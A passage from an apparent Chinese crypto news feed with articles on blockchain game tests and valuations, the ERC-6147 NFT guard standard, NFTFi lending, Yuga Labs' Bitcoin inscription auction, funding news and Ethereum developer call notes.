Bigtime于2023年2月份开启空投活动，每个月向符合条件的账户空投礼物盲盒，共计15.3万个效用性NFT，包括军械库、熔炉、时间守卫。空投规则为积分等级制，分为5个等级。同1等级的玩家获得的空投内容是相同的。积分构成为资产积分和游戏积分。用户账户持有的Bigtime NFT资产越多、越稀有、越高价值，获得的资产积分越高。用户通过完成游戏副本可获得游戏积分。当积分满足要求即可获得空投。现在玩家可以通过报名参与内测，从而获得游戏积分博取空投。 资产市值 Bigtime代币目前尚未上线二级市场，NFT资产多样。有盔甲、武器、装饰品、神秘盒子等。此处以主要NFT资产Space NFT计算。 Space NFT稀有类小、中、大空间地板价价值分别为60美金、90美金、348美金，最大供应总量分别为16.8万个、6.8万个、7200个。史诗类小、中、大空间价值分别为73美金、117美金、398美金，供应总量分别为10.8万个、6.3万个、9000个。传奇类小、中、大空间价值分别为98美金、165美金、500美金，供应总量分别为7.2万个、3.6万个、1.2万个。神话类小、中、大空间价值分别为185美金、315美金、1189美金，供应总量分别为2.64万个、1.68万个、4800个。崇高类小、中、大空间价值分别为719美金、1280美金、2799美金，供应总量分别为6000个、3600个、2400个。其市值为8806万美金。 另外，Openloot接受借记卡和信用卡、电汇、以太坊、比特币和 USDC。也就是说用户购买NFT资产无需安装钱包，使用传统购买商品的方式也可。这为对加密资产和工具不熟悉的用户提供了便利。 内测用户 目前参与测试的用户包括早期申请测试者、VIP通行证持有者，还有超过二十家公会参与。其中包括YGG、Merit Circle、Avocado Guild、Loudgg和Neo Tokyo等。根据第三方网站查询工具similarweb数据显示，Bigtime官网访问量逐月增长，1月份访问量为15.2万次，访问时长为2分钟左右，访问地区以美国和菲律宾为主。 Illuvium 2021年1月份，Synthetix联合创始人Kain Warwick的兄弟Kieran Warwick和 Aaron Warwick推出区块链游戏Illuvium。Illuvium是一款沉浸式的开放世界RPG的3A级游戏，其搭建在以太坊二层解决方案ImmutableX上。 玩家开始游戏时定制自己的角色，并选择一个随行的无人机作为跟班。然后，玩家开始探索游戏的开放世界，收集并与他们遇到的Illuvials战斗。被打败的Illuvials可以通过碎片捕获，并被铸成NFT。每个玩家在玩游戏时都有五个关键的游戏机制或模式可以参与冒险模式、采矿和收割、团队建设、融合系统、战斗竞技场。在这五个模式中玩家可以捕获Illuvials、获得更高等级的Illuvials，以及赢得ETH代币。 2021年3月份，Illuvium团队获得500万美元种子轮投资，Framework Ventures领投，IOSG Ventures、Delphi Digital等参投。4月份通过Balancer LBP销售100万枚代币筹集到3800万美元。2022年6月份通过销售2万块土地筹集7200万美元。根据官方信息，其共计划销售10万块土地。 内测玩法 2022年3月Illuvium上线自走棋对战游戏Arena的私人测试版，2022年12月份开始部署开放世界抓宝游戏Overworld。用户可以通过注册申请内测、官方Discord频道达到5级、推特推广等途径获得内测Arena和Overworld的资格。2023年1月6日开启土地经营挖矿游戏“Illuvium: Zero”的Alpha 0测试，2月21上线Alpha 1测试（目前官方信息已推迟上线）。Illuvium: Zero的测试对其所有土地所有者开放，游戏在Android、Windows和MAC端上线。 当前Arena和Overworld处于暂停状态，只开放Zero。lluvium Zero的AlphaI测试版是Illuvium土地持有用户首次在游戏中体验土地功能，这也是Illuvium对游戏进行大规模测试、平衡和调整的机会。在Illuvium Zero的Alpha版本期间，收入经济将不会上线。玩家可以保留在Alpha中获得的蓝图，Illuvium Land只有在Illuvium Zero与Illuvium公测一起发布时才会开始产生收入。 测试期间玩家可以在免费的T0土地（Alpha测试期间不可用）上玩Illuvium Zero，或者购买T1-5土地后参与游戏盈利。玩家在Illuvium生态的所有游戏中都使用Fuel作为货币，在Zero、Overworld和Arena经济生态中相通。 Fuel分为三种：Crypton、Hyperion和Solon，其在Illuvium生态系统中用于各种目的。具体为Hyperion用于治疗碎片和捕获Illuvials，Solon用于制作武器、盔甲和其他升级品，Crypton 用于前往不同的地区。此外，Fuel也可以用于在Illuvium Zero中建造高级结构并升级这些建筑。 尽管因为市场因素Fuel的相对价值会随时间波动，但Illuvium土地上的所有Fuel Sites本身都同样稀有。FUEL 仅作为游戏内货币存在，现阶段不能转移到另一个钱包或Land Plot。后续会上线Balancer池，届时用户可以在IlluviDex上将其交换为ETH。 Illuvium中的Megacities（特大城市）允许将构成2x2或3x3正方形的相邻地块组合成一个更大的地块。Megacities的预期好处有：在地块之间分享地标奖金的能力、能够在地块之间共享资源而无需转移成本（无论是时间还是资源）、共享工程实验室等支持性建筑的能力从而增加可用空间。Illuvium游戏内目前不提供Megacities，具体上线时间待官方公布。 Illuvium还上线了一种高级货币Credits（信用分），可用于执行特殊操作，从而提升效率。具体可用于活动加速（例如建筑和工厂拆除）、购买额外的建设者插槽（Alpha测试期间不可用）。玩家可以在Illuvium Zero中通过在游戏内移除植物或完成目标，以及游戏内购买获得Credits。但在Alpha期间，玩家无法购买积分。 根据官方信息，Illuvium将于3月8日6时推出Illuvium：Beyond游戏，届时玩家可以根据Illuvium的游戏角色竞争收集Illuvitar NFT。Illuvitar是一个可定制的NFT集合，其中包含拥有各种配件、背景和表情的Illuvials插图。Illuvitar分为基础层和底座，Illuvitar基础层是专为数字自我表达而设计的手绘艺术作品，Illuvitar底座可以使用数千种不同的配件组合进行个性化设置，每一种都包含不同程度的稀有物。这种稀有物直接播放到收藏游戏Illuvium Album中，完成数百个独特属性链接的收藏并填充到相册中，可赚取积分榜排名。 为确保所有用户都有机会收集最稀有的物品，Illuvitars将以两种类型的打包出售，即Illuvitar D1SK和Mega D1SK。Illuvitar D1SK包括1件奖励等级Illuvitar、1件随机Illuvitar、3个配件，Mega D1SK包括1件稀有物、1件随机Illuvitar、3个配件。用户可以在销售窗口期间铸造无限数量的Illuvitars。一旦销售结束，这些Illuvitars将永远不会再铸造。 资产市值 Illuvium土地首次拍卖中T1土地数量为12029块，T2土地数量为5012块，T3土地数量为2088块，T4土地数量为869块，T5土地数量为2块。根据Illuvium的资产交易市场IlluviDEX数据显示，其当前地板价分别为0.35E、1.05E、2.78E、11.34E，T5暂未被挂单。土地估算市值为23044E，折合3627万美元。根据Coinmarketcap数据，其代币ILV当前流通市值为1.81亿美金，总市值为7.89亿美金。 内测用户 根据Illuvium的内测规则，Arena和Overworld版本内测申请通道较为灵活，社区玩家均有机会参与其中。Zero的Alpha版本仅对土地持有人开放，有资格参与测试的用户上限为2万名。 根据第三方网站查询工具similarweb数据显示，Illuvium官网近三个月访问量为50万次左右，1月份访问量稍有下降，用户评价访问时长为6分钟。其访问地区主要为美国和法国。 Parallel Parallel是一款基于ETH链的集换式科幻性NFT集换式卡牌（TCG）游戏，玩家可以通过购买和收集卡牌，灵活使用不同的卡牌去组合符合规则的套牌进行游戏获得奖励。其团队成员来自《刺客信条》、《Valorant》等3A游戏，YouTube联合创始人Chad Hurley于2021年3月加入该团队。2021年10月22日，Parallel宣布以5亿美元估值获得Paradigm的5000万美元投资，其基金会为Echelon。并且其游戏内NFT资产二级市场交易版税为团队创收7560枚ETH，折合价值1194万美元。 内测玩法 Parallel于2022年12月6日官方开放抢先体验的申请入口，封闭式Alpha测试于2023年2月28日开始，分3次进行。每次将持续大约1周。第3次封测之后，进行最后一次集体测试，时间在第四周周末。封闭Alpha测试将于3月26日结束。根据官方信息，在整个Alpha测试期间，参与测试的成员有希望获得PRIME代币空投。该奖励可能会在封闭式Alpha测试结束后发放。 根据Parallel白皮书信息，该游戏有多种NFT，均通过拍卖或售卖分发。根据PANews依据官方动态不完全统计，Parallel通过向社区售卖NFT资产获得超22000枚ETH，现价折合3477万美元。 Parallel Alpha系列共计1228类卡牌，总数580万张。Parallel Auxiliary Items系列共计11类卡牌，总数9834张。两个系列的卡牌中包括装饰品Special Edition、Perfect Loop、Prime、Assets等，可以用来赚取更多PRIME代币。以及基于神话故事的5种不同的Parallel角色：Earthen、Marcolian、Augencore、Kathari和Shroud， 玩家在游戏过程中需要集齐40张卡牌组成一副牌，游戏模式分为1V1模式、3V3团队模式、轮抽模式。每个玩家都有一个总生命值，获胜条件是让另一个玩家的生命值变为0。截至目前，玩家的初始生命值为30。 但因为Parallel游戏内资产均在以太坊主链上，用户要在上千类卡牌中凑齐一整套卡牌，中间所产生的GAS费极高，这极大提高了用户的入场门槛。 资产市值 Parallel最近的官方文档披露的经济模型与白皮书中经济模型不一致，此处以最近的官方文档数据为准。依据此文档，PRIME代币的总供应量为111,111,111.111枚。其中Gameplay池分配30%，用来支持Echelon生态系统内开发的所有游戏。投资者分配16.24%，创始团队分配15.064%，Caching池分配14.1%，Echelon基金会分配10.996%，Prime Event分配9%，Parallel储备4.6%。 投资者和创始团队的代币按照24个月周期线性解锁，投资者从2023年7月18日开始，创始团队从9月30日开始。Parallel于2023年3月1日开始释放PRIME代币，彼时其流通量为2020万枚。根据echelon网站信息，当前PRIME代币被领取总量为1564万枚，未领取数量为449万枚。 根据Coinmarketcap数据，PRIME代币当前流通市值为6192万美元，总市值为3.52亿美元。其NFT资产种类1239种，共600万张。Parallel Alpha系列中各类型地板价最低为0.0015ETH，最高价60ETH，不过有价无市居多。Parallel Auxiliary Items系列中各类型地板价为0.168-0.69ETH不等。根据日成交均价估算其市值为93.2万枚ETH，折合价值9.2亿美元，该估值虚高。 内测用户 Parallel通过向社区开放申请测试名额的方式分批向社区分发测试权限，测试版本上线后未申请的用户便无法再通过免费途径获得测试机会。购买Alpha Access Pass的用户在3波测试过程中均有访问权限。 根据第三方网站查询工具similarweb数据显示，Parallel官网访问量1月份暴增，相比此前月访问量增长4倍有余，与开放内测及其代币上线有关，访问时长为4分钟，访问地区主要分布在美国和加拿大。 总结 从团队阵容看，以上三款游戏的核心团队均有成功且知名游戏的开发、设计和运营的经验。融资规模也都相当可观，同时通过售卖游戏内资产和版税获得不菲收入。其中Bigtime通过融资和售卖NFT资产获得超1亿美元，Illuvium通过融资、售卖代币和NFT资产获得1.15亿美元，Parallel通过融资和售卖NFT资产获得9600万美元。 三款游戏中Bigtime的代币只通过玩家玩游戏的方式产出分发，其余两款游戏为团队、募资、游戏内多渠道分发。三者均通过售卖NFT资产获利，其中属Bigtime获利最多。Bigtime和Illuvium均有大量土地资产待分配，不同的是Bigtime是通过用户玩游戏免费掉落，而Illuvium是通过售卖。代币市值上Illuvium为Parallel的2倍之多，Bigtime的代币暂未上线二级市场。 从用户进入门槛来看，Bigtime支持用户通过传统方式购买资产和进入游戏，而Illuvium和Parallel全程需要用户使用区块链钱包，这提高了用户入场门槛。从路线规划看，Bigtime专职游戏，其余二者均以游戏出发，向游戏平台迈进。 如前文所说，2022年属于熊市周期，但游戏融资规模依然不菲，且多个大制作类型的游戏均陆续测试并上线，游戏板块或已经在蓄力待发。  ( 5 min )
    解读最新Final的ERC-6147：极简的半强制性NFT产权分离标准
    就在2023.3.7日，由 10K Universe 提出的以太坊改进提议 EIP-6147 已移至最终版本（Final）！ 该标准是 ERC-721 的扩展，分离了NFT和SBT的持有权和转让权，并定义了一个新的可设置到期时间的"守卫者"角色Guard，可使得 NFT 防盗、借贷、租赁、SBT 等更具灵活。 本文将系统讲述ERC-6147的实现机制，并对比往期NFT租赁协议专案ERC-4907、ERC-5055，来综合分析点评此协议以及适合的应用场景！ 1、背景 NFT已经可谓是个老生常谈的话题了，借助链上的不可篡改特性以及合约本身的自动化运作，实现了链上资产的确权与管理，笔者也从标准协议，租赁拓展协议，乃至于NFT交易市场的几种主流模式来撰写过多篇文章长文。 如果要论证NFT的优势可能可以罗列上几页纸，但要论证NFT的劣势，则千言万语汇聚成一个词：流动性！ 当然各位可能要质疑的是，流动性不足的困境与实现产权分离标准有什么关系呢？ 在笔者看来，事实上NFT流动性的困境更多不是源于NFT协议本身，对ID的非同质化机制和限定ID区间导致的，哪怕是近乎无穷的ERC20token难道就不缺乏流动性了吗？更重要的是，流动性本身是出于对金融产品的定价诉求而产生的话题，如何让NFT本身具有使用价值，便成了让价值有所依归而不是只依赖于市场操作的协议。 影响使用价值NFT使用价值的，也正是NFT协议本身 目前NFT被盗的案例很多，然而现有的NFT防盗方案，比如将NFT转入冷钱包等都会使得NFT的使用不便。 并且在目前的NFT借贷中，NFT所有者需要将NFT转移到NFT借贷合约中，NFT所有者在获得借贷期间不再拥有NFT的使用权，这边是产权耦合的问题，这其实和我们现实中购买房产再房产抵押换取流动性资金时，再非风险条件下是不用被占用房屋使用权的情况很不同。 记忆尤新的是，猴子APE空投时被攻击者用闪电贷结合NFTX进行攻击 原事件分析可拓展阅读：EIP-5058 能否防止NFT项目方提桶跑路？ 整件事情里，唯一受损的则是质押了猴子的用户，本来是赚取微不足道的时间利差却痛失了ape的海量空投。 同样的，产权耦合的还有SBT的问题 对于SBT，目前主流观点认为SBT是不可转让的，这使得SBT与以太地址绑定。但是，当用户地址的私钥泄露或丢失时，找回SBT将成为一项复杂的工作，并且没有相应的标准。SBT本质上实现了NFT持有权和转让权的分离。当SBT所在的钱包被盗或不可用时，SBT应该是可以恢复的。 例如，如果一所大学向其毕业生颁发基于文凭的SBT，如果大学后来发现毕业生有学术不端行为或损害大学声誉，它应该有能力收回此文凭的SBT。 过往十四也解读过若干尝试产权分离的方案，例如ERC-4907和ERC-5058，不可避免的最大的难题在于强制性程度的衡量，这并不是方案本身的问题，而是方案本身的哲学理念问题。 1.2.1、简单哲学ERC-4907，定义愿景剩下交给共识 在2022-07月，NFT 租赁市场 Double Protocol 提交的可租赁 NFT 标准“EIP-4907”通过了以太坊开发团队的最终审核，成为第 30 个 ERC 标准“Final”的状态。 代码极为简单仅有72行，使用这个标准，就是在原来的ERC721之上新增 1个事件（用于通知链下应用称为事件） 3个方法（用于实现链上数据管理功能） 归咎原理，其实4907只是新增了一个数据对象UserInfo在所有权的概念之外增加“用户”的维度，但是毕竟其强制性有限，只要转移就能强行终止出租授权 详情可拓展阅读： 721租赁协议解读：以太坊新标准EIP-4907是怎样实现NFT租赁的？ 1155租赁协议解读：NFT租赁提案EIP-5006步入最后审核！ 1.2.2、0信任哲学的ERC-5058，代码即法律 他本质上是对NFT的锁定状态进行管理，让项目方在继承5058实现的NFT项目中，提供锁定即转移的功能，也可以在继承中实现更多功能比如版税等 他封装提供了若干提供方法：只有用户许可以及项目方执行之后才会完全锁定 用户可调用 lockApprove（许可锁定单个NFT） setLockApprovalForAll（许可锁定该地址下全部NFT） 项目方合约调用： lockFrom（锁定用户的NFT） unlockFrom（解锁用户的NFT） 锁定期的定义也极具强制性，近乎只依据设定之初的时间点 项目方（第三方）锁定 NFT 时，需要指定锁定过期的区块高度，该高度必须大于当前区块高度。锁到期后，NFT 自动释放，才可以进行转移。 项目目前还是处于草稿阶段，或许强制性过高以及用户项目方双向操作的较高成本所致 详情可拓展阅读：EIP-5058 能否防止NFT项目方提桶跑路？ 讲述完上述完全不强制4907，以及完全强制的5058，便到了本文主题：最新通过以太坊基金会审查，确定为Final的ERC-6147，虽然他原生的标题是：《Guard of NFT/SBT, an Extension of ERC-721 》，但十四君从系列的租赁研究经验来看，他更应该称是《半强制的NFT产权分离标准》 此协议整体代码也非常精简且高度复用，属于对ERC721的拓展标准，但是要注意，如果使用了他，则转移的操作可能与常规的721的逻辑不同，操作不当可能容易被钓鱼，具体如何咱们展开说说。 建议拓展阅读：【源码解读】你买的NFT到底是什么？ 首先ERC-6147定义了一个名为Guard（守卫者）的角色，和4907的UserInfo很相似， 而Guard只有该NFT的当前所有者地址以及有代扣权限的地址，可以通过changeGuard设置， 通过源码可以看到，在设置Guard的时候若干的细节// 防止误锁定，所以Guard不能设置为0地址 设置成功后，任何人都可以通过guardInfo 方法来查询某个NFTID，当前的Guard信息，同时这里也沿用了和4907一样的基于时间戳的设计，所以是到期无需二次上链交易，就可以自动失效。 那Guard的身份，谁可以去除掉呢？只有Guard自己以及时间（到期）可以。 2.2、Guard能做什么？ 首先具有了强制转移权，对于设置了Guard的NFT而言，在进行transferFrom的时候，会查询交易发起方是否是守卫地址，是才能转移。 ? 请特别注意1： 对于设置了Guard的NFT而而言，原持有者将只有持有权，并没有转移权（即使用权），其他Dapp依旧可以查询到此NFT的所有者是原用户，但原用户无法驱动其进行转移。 所以对于设置了守卫的NFT，在opensea、x2y2等交易平台上的签名是有效的（但是无法进行实际转移，因为Seaport等协议执行转移的时候，是由Seaport协议通过代扣授权来执行） 对于交易市场的运作机制可拓展阅读： X2Y2十万NFT订单，分析版税可以不收后多少用户真这么做了？ 一文讲清-NFT市场新秀SudoSwap的AMM机制-创新挑战与局限 【合约解读】CryptoPunk 世界上最早的去中心化NFT交易市场 ? 请特别注意2： 如果守卫直接进行了转移该NFT，如果是使用原生的transferFrom或者safeTransferFrom方法，其实守卫的设置是不会自动清除的，当然如果是守卫将NFT转给自己自然无妨，但是如果转给某用户，然后再借助守卫者的设置是可以再次进行转移的。 因此如果后续使用Guard，则更多是需要检验是否使用的是transferAndRemove方法，此方法会在转移后直接清除守卫者信息。 并且，守卫者本质上也是一种较高的控制权力，雷同于房屋租赁，抵押的那一刻，其实本质已经属于银行，只是只有银行在满足某些社会条款的情况下（如违约）才会执行拍卖等操作，既然是某种金融抵押品的属性，则自然也可以二次转移此守卫权使用changeGuard方法即可。 对于transferRemove的设计原则是为了适应不同场景。 比如防盗中，如果NFT在热钱包，而热钱包被盗了，冷钱包依然安全，其实只要transferFrom到其他安全地址就好了。 或者租赁的时候，guard调用transferFrom转到新的租赁地址，就实现了租赁。 还有SBT的社交恢复，将SBT转移到新地址，依然不影响SBT的不可转移特性 从源码可以看到Guard相关的只有在授予时，是持有者和Approve授权者可以设置，但Guard是不能设置代扣的。 一方面是出于已经不需要考虑代扣授权者了，因为本质上该NFT的转移权被限制到了Guard上，另一方面是Guard也不能设置Approve，是防止在守卫者归还了转移权后，反而用approve转移走了NFT，这样违背原本意愿，用户又难以发现的场景。 用一张充满金融属性，稍有世俗的统计来呈现如今以太坊上NFT类型的资产概览把 每天30多万笔NFT交易，20余万各类NFT合约，这样的总数都呈现出的是围绕资产确权带来的金融属性价值。 但是任何时候金融属性都需要逐渐依归，我们可以看到用NFT来确认社交关系的Lens，可以看到用NFT来做游戏资产的各种Gamefi，也可以看到围绕内容创作借助分拆众筹的Mirror等， 在以太坊问世区区8年多的时间来，围绕EIP的提案总数已经达到6500+ ， 对比于同样重磅的4907而言，6147更多是强在兼容性的优化 比如4907做租赁，user这个角色需要项目的主动认可，如果一个游戏没考虑user这个角色，只考虑owner，4907是不适用的。而6147只要认可owner就够了，并不用在意游戏项目和NFT本身是否支持租赁，现在大部分应用协议仍然是只认owner的，这也是4907问世后，还无法大幅度改变现状的原因，只有先适应时代潮流之中能逐渐发光发热。 另外6147也提出了“可管理的SBT”和“有效的SBT”概念，现在的SBT提案设计太注重Vitalik提出的“不可转移”特性了，但是却忽略NFT的潜在管理场景，比如社交恢复、收回SBT（比如学术不端，需要收回学位，或者一个DAO成员在社区作恶，需要收回它的SBT权限） 参考链接： https://github.com/ethereum/EIPs/blob/master/EIPS/eip-6147.md https://ethereum-magicians.org/t/final-eip-6147-guard-of-nft-sbt-an-extension-of-erc-721/12052  ( 5 min )
    美团创始人王兴将参与王慧文AI公司“光年之外”的A轮投资，并出任董事
    PANews 3月8日消息，据澎湃新闻报道，3月8日，美团创始人王兴在朋友圈中表示，将以个人身份参与王慧文创业公司“光年之外”的A轮投资，并出任董事。王兴表示：“AI大模型让我既兴奋于即将创造出来的巨大生产力，又忧虑它未来对整个世界的冲击。老王和我在创业路上同行近二十年，既然他决心拥抱这次大浪潮，那我必须支持。” 此前2月13日消息，原美团联创王慧文出资5000万美元进军人工智能，称将打造中国的OpenAI。其发文透露，将成立北京光年之外科技有限公司，王慧文出资5000万美元，估值2亿美元。  ( 4 min )
    Blur 狂潮下，NFTFi 解困 NFT 流动性难题
    本月 NFT 赛道新贵 Blur 公布了第二轮激励计划，该平台的交易市场热火朝天。在去年年末一度取代 OpenSea 成为第一的 NFT 交易平台，目前占据了超过 50% 的市场份额。Blur 凭何能够在熊市周期中直逼赛道龙头 OpenSea？ 与一般 NFT 交易平台不同，Blur 是一个面向专业 NFT 交易者的聚合平台。其汇集了 OpenSea 、 LooksRare 和 X2Y2 等交易列表，清楚地展示了各 NFT 的地板价、属性、排名、成本价，以及近期的价格变动等信息，且该平台交易速度十分快，支持批量买卖和零版税费用。 不难看出，Blur 专业的聚合 NFT 平台 Bid-to-Earn(“边拍边赚”) 的商业模式专攻买方市场，借鉴了传统 DEX 订单簿模式，解决了收益率不足、无人提供流动性的尴尬局面。而一定程度上解决了 NFT 流动性问题的 Blur 也被视为 NFTFi 发展的先驱，或将带动整个赛道形成较大的造富效应。 回看当下 NFT 赛道，上一轮牛市中出现的数字藏品投机者还大量存在，且 OpenSea 这样的主流交易市场在每笔交易中又收取过高的费用，NFT 持有者常常面临出手难的尴尬处境。归根结底，NFT 的流动性难题掣肘了该赛道的长远发展。而今年 Blur 的横空出世让我们看到了 NFT 流动性问题的突破口，下文我们将从其定义出发，一窥 NFTFi 项目如何打破 NFT 流动性困境。 在了解 NFTFi 之前，让我们回归 NFT 概念。NFT 是 Non-Fungible Tokens，不可替代性是其根本属性。为了便于理解 NFT 的金融化，首先将 NFT 分为两类，一是具备收藏价值的纯粹艺术 NFT；二是具备特殊的使用价值的实用 NFT。 艺术 NFT 实用 NFT 不可代替性(Non-fungible) 半可替代(Semi-fungible) 不具备使用价值(Without utility) 具备使用价值(With utility) 不具备基本面(Without fundamentals) 具备一定基本功能(With certain fundamentals) 定价主观判断(Valuation based on personal sentiment） 定价基于其功能性(Valuation based on functions) 据上表可知，不同类型的 NFT 从内在上看具有不一样的属性。头像类、艺术画作类 NFT 观赏、收藏的价值更高，用户购买之后的目的不是为了出手，更多的是为了收藏。因此我们不能强制要求所有 NFT 都具有高流动性。 而星巴克 Odyssey 这样品牌方发行的会员通证类 NFT 则具备使用价值，其同让 NFT 流动性更高的金融化趋势更为契合。因此，下文所提及的 NFTFi 主要针对这些实用 NFT。 经历了上一轮牛市周期的 NFT 的疯狂买卖和交易之后，流动性问题成为金融紧缩时期 NFT 赛道发展的瓶颈所在，由此导致 NFT 赛道存在以下关键问题： 除了上文提及的艺术品 NFT，大部分的 NFT 持有者希望自己的数字藏品具有更多价值，提高资产利用率。否则，单凭低买高卖的模式难以吸引长期用户。 Nftperp 是由 Perpetual Protocol 开发的建立在虚拟自动做市商 (vAMM) 之上 NFT 永续合约交易协议。Nftperp 能够追踪 NFT 系列地板价，并允许 NFT 交易者使用 vAMM 模型、任何数量的抵押品进行交易、实时 NFT 价格信息等功能。目前该项目所有智能合约均经过 PeckShield 审计，之后会开源。 JPEG'd JPEG'd 旨要让 NFT 的持有者能够利用他们的 NFT 作为抵押品。用户可以将他们列入白名单的 NFT 作为抵押品存入 JPEG 的智能合约中，并开始用它来利用借贷机制。这将有效地将 NFT 从静态艺术品转变为收益产品，如果用户使用完他们的贷款，他们就会偿还本金和累积的利息，并且可以 JPEG 的保险库中取回他们的NFT。 值得关注的是，JPEG'd 还开发了一种新颖的保险机制，允许储户在遭遇清算时从 DAO 回购他们的 NFT。但只有在 JPEG'd DAO 为所有已发行债务提供担保时，才有可能实现这一点。用户可以购买可选的保险来在清算时回购他们的 NFT。 LinoSwap LinoSwap 可以说是 NFT AMM 市场上比较具创新性的协议。其将稀有度与定价机制结合的创新性 NFT AMM。LinoSwap 不仅实现了 NFT 的自动做市功能，还引入了 Rarity Function（稀有度函数）和 Rarity-Value Curve（稀有-价值曲线），对高稀有度 NFT 进行估值和定价，解决了高稀有 NFT 在 AMM NFT 交易市场中的不被重视的问题。在这样的场景下，根据所持有的 NFT 稀有度是高、低可以得到合理的估价。 结语 TinTinLand 在《年度 NFT 市场回顾，2023 NFT 是开发者的最优选择吗？》一文中回顾与展望了 NFT 市场的发展情况，尽管目前市场处于下行趋势，但 NFT 赛道表现出了非凡的持久力。值得关注的是，蓝筹 NFT（BAYC、CryptoPunks、Azuki、Moonbirds）的市值高达 35 亿美元，这也将成为激发 NFTFi 建设者和开发者的动力，吸引更多开发者和用户的加入。 综合前文对 NFTFi 赛道的分析，不难看出 NFTFi 仍将是 2023 年的重点之一。探索 NFTFi、开创更多可能也将为正在寻找空间进入 NFT 的开发者带来一个更具机会和优势的领域，让 NFT 持续成为用户进入 Web3 最便利与最具吸引力的门径之一。 （本文内容仅供参考，不应作为法律、商业、投资建议。）  ( 6 min )
    EigenLayer开发商Layr Labs在近6448万美元的融资目标中已筹集约5673万美元
    PANews 3月8日消息，据美SEC官网公告，以太坊再质押协议EigenLayer开发商Layr Labs正在进行目标为近6448万美元的新一轮融资，目前已筹集约5673万美元。 另据Crunchbase数据显示，Layr Labs此前已通过三轮融资筹集1560万美元。  ( 4 min )
    288张小图片1天狂揽1.14亿，Yuga Labs在比特币上制造了一台“印钞机”
    原文：《288张小图片1天揽金1.14亿，这就是Yuga Labs的钞能力》 作者：Anymose TwelveFold，中文戏称「十二折」24小时拍卖结束了，最低出价：2.2501 btc（32.18 eth） 最高出价：7.1159 btc（101.76 eth） 总成交：735.71 btc（10,521.37 eth,约 1.14亿人民币） 平均成交价：2.55 btc（36.42 eth)。这就是Yuga的成绩单、钞能力证明书、抢钱天团通行证、一个没有感情的圈钱机器。 图片来自网络 上图是十二折里的第一张图，价值7.1159 btc 换算成101.76 eth、159,293美元或1,104,330人民币，这叫什么？叫「艺术」。 十二折是一组在BTC上生成的铭文，所以严格意义上都不能算做NFT，一共300张其中288张面向公众开放拍卖，拍卖时长24小时。习惯了以太坊NFT的都一头雾水，倒退回了原始社会啊，给个收款地址你打款，再留个自己的地址他给你发送NFT，唔哟，艺术果然需要折腾。 如果说，之前ordinals小热潮引发BAYC、Punks山寨抢购只是极客和投机客联手作秀，那么Yuga Labs这样体量的巨无霸突然在BTC上开发NFT，则正式标志着巨大的掘金机会来了。 Galaxy研究团队推出了一个长篇研究报告，非常值得一看，关注外部山，回复「BTC」关键词可以查看报告原文。我提炼了几个要点，一起学习： - 一个50亿美元的新兴市场 - 基于BTC NFT 的新叙事 - 最高价值收藏发生在这里 - 扩展到BTC Layer2 - 无版税、无智能合约 - BTC NFT Studio掘金机遇 - 新蓝筹标准：编号+聪+项目 - Q2工具让市场更流畅 - 比特币稳定币被采用 还记得我们之前聊过投资不用很复杂，跟着主线走就行了对吧？NFT只要跟着Yuga Labs（暂时）不会偏差太大。如果你NFT玩得不多，我给你举个例子，立刻就懂。 Yuga Labs就像是Web3里的迪士尼集团，迪士尼有传统明星米奇、唐老鸭，Yuga Labs则有BAYC、MAYC；迪士尼有迪士尼乐园，Yuga Labs有Otherside虚拟世界；迪士尼收购了辛普森、漫威宇宙，Yuga Labs收购了Crypto Punks、CoolCats、10KTF；迪士尼有圈钱的川沙七霸,他们甚至连动画片都没有，Yuga Labs有TwelveFold，他们甚至连交易市场都没有！ 图片来自网络 所以简单来讲，Yuga去哪里、干什么你就弄个低配的跟上就行，如果想要赚更多，那就需要更多一些投研了。恭喜今天拍中的几个会员大佬，有一个大佬进入了前10，你问我？我被挤下了车，逆天的比特币转账延迟让心生犹豫的我，名落孙山。 玩NFT有句话，in yuga we trust，翻译下就是信Yuga、能赚钱。希望给你一点点?启发，可以去重新梳理下Yuga系的产品、翻看下他的布局、叙事以及接下来要做的事情。那眼下能操作什么？我再给你梳理一个价值不菲的信息，这个信息是$APE的解锁、消耗场景，对$APE也是Yuga Labs（控制）的。 APE解锁计划 - 时间：3月17日 - 数量：40m $APE (US$ 196m) - 占比：4,06% APE消耗场景 - 10KTF 第二季 + 制作 + 回收 - Otherside：Legends of Mara 麻辣传奇小游戏 - BAYC Mecha Ape Games - Otherside 剩余土地发售 - APE 质押（lock） 如果你能读懂这篇文章，不夸张说，价值1个BTC。 祝我们好运！  ( 4 min )
    数字人民币App新增“微信支付”
    PANews 3月8日消息，据证券日报报道，2023年3月份，数字人民币App（试点版）“钱包快付管理”中正式新增“微信支付”。目前用户已经可以在数字人民币App（试点版）开通微信支付钱包快付。依据数字人民币App现行规则，单笔支付限额为2万元，日累计支付限额为2万元，用户也可以进行相应限额设置。 此前2022年12月份，支付宝官宣作为首家支付平台正式加入数字人民币受理网络。  ( 4 min )
    第 156 次以太坊执行层核心开发者会议笔记：测试网进展、上海升级时间和坎昆升级内容
    来源：@TimBeiko 编译：Stephanie 第 156 次以太坊执行层核心开发者会议 (ACDE) 于北京时间 3 月 2 日 22:00 举行，此次会议的议题包括：总结 Shapella 升级在 Sepolia 测试网上的情况、为 Goerli 测试网的 Shapella 升级设定时间、讨论下一次升级的范围，以及在客户端弃用一些非共识功能。 Sepolia 测试网的 Shapella 升级于上周二顺利进行，在分叉期间发送了几个 BLS 凭证更新，处理起来都没有问题。由于一些没有升级的执行层客户端，网络参与率略有下降，但客户端升级后就升回去了。由于在 Sepolia 上的验证者集是非常小的，只有一笔完整提款得到了测试 (但部分提款是自动处理的)。 Nethermind 发现了有少量坏块，但与上海升级的代码无关。开发者还发现了 MetaMask 上的漏洞——提款账户的余额更新不准确。问题似乎已解决了，可能由缓存问题导致。 客户端团队认为可以推进 Goerli 测试网的 Shapella 升级，他们就在北京时间 3 月 14 日 18:25 进行 Goerli 测试网的 Shapella 升级达成共识。可以在这个 PR 里追踪更新：https://github.com/ethereum/execution-specs/pull/724 预计这周基金会博客会发布客户端版本和公告。 开发者在这次会议没有确定主网升级的日期，但假如 Goerli 上的升级进行顺利，他们将会在下一个 ACDE (3.16) 确定主网上海升级的日期。 开发者团队建议 Goerli 升级大约 4 周后进行主网升级，给他们一周时间发布和测试版本，然后 2 周多的时间让人们升级他们的节点。 1. 第一项内容是关于在执行层添加 SSZ 序列化格式。现在执行层 (EL) 和共识层 (CL) 使用不同的编码格式——EL 使用 RLP，CL 使用 SSZ，而由于 EIP-4844，开发者将需要在 EL 引入 SSZ。更大规模地转向 SSZ 